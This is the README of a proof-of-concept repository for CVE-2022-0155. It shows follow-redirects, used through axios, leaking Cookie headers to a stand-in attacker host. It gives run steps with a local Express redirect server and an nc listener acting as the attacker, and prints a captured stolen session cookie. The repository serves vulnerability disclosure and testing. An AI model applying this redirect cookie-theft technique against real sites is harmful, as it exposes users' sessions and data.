coana-tech/cve-2022-0155-pocProof-of-concept demonstrating CVE-2022-0155 cookie theft via HTTP redirect in follow-redirects npm package, including Express server and client scripts for testing transitive dependency attacks.
This repository contains a demonstration of the CVE-2022-0155 vulnerability. The vulnerability was detected by ranjit-git and is described in detail here. The purpose of this PoC is to demonstrate that the vulnerability doesn't just apply to scenarios where follow-redirects is used as a direct dependency, but also when follow-redirects is used as an indirect/transitive dependency through axios.
The vulnerability affects the follow-redirects npm package prior to version 1.14.7. Follow-redirects extends the built-in HTTP module with the ability to follow redirects.
To demonstrate the vulnerability, consider the following scenario:
The vulnerability lies in step 3, where the vulnerable versions of follow-redirects include the same Cookie headers as the request in step 1.
This allows https://attackers-webserver.com to steal, for example, the user's session ID on https://example.com and gain access to the user's data.
The attack depends on the attacker's ability to control the redirect to https://attackers-webserver.com.
In the PoC, an Express server is used to emulate the behavior of https://example.com.
The server has a single GET API endpoint '/redirect', which redirects the client to the URL provided as a parameter.
This emulates a scenario where the attacker can control the URL the client is redirected to.
npm install
node express-server.js
nc -l -v 8182 # or nc -lnvp 8182 on non-mac systems
node client.js
You should see the terminal containing nc print this output:
GET / HTTP/1.1
Accept: application/json, text/plain, */*
Cookie: session=some-secret-value
User-Agent: axios/0.21.4
Host: localhost:8182
Connection: keep-alive
The vulnerability is illustrated by the presence of the Cookie header in the nc terminal, as the nc (Netcat) server is used to represent the attacker's web server.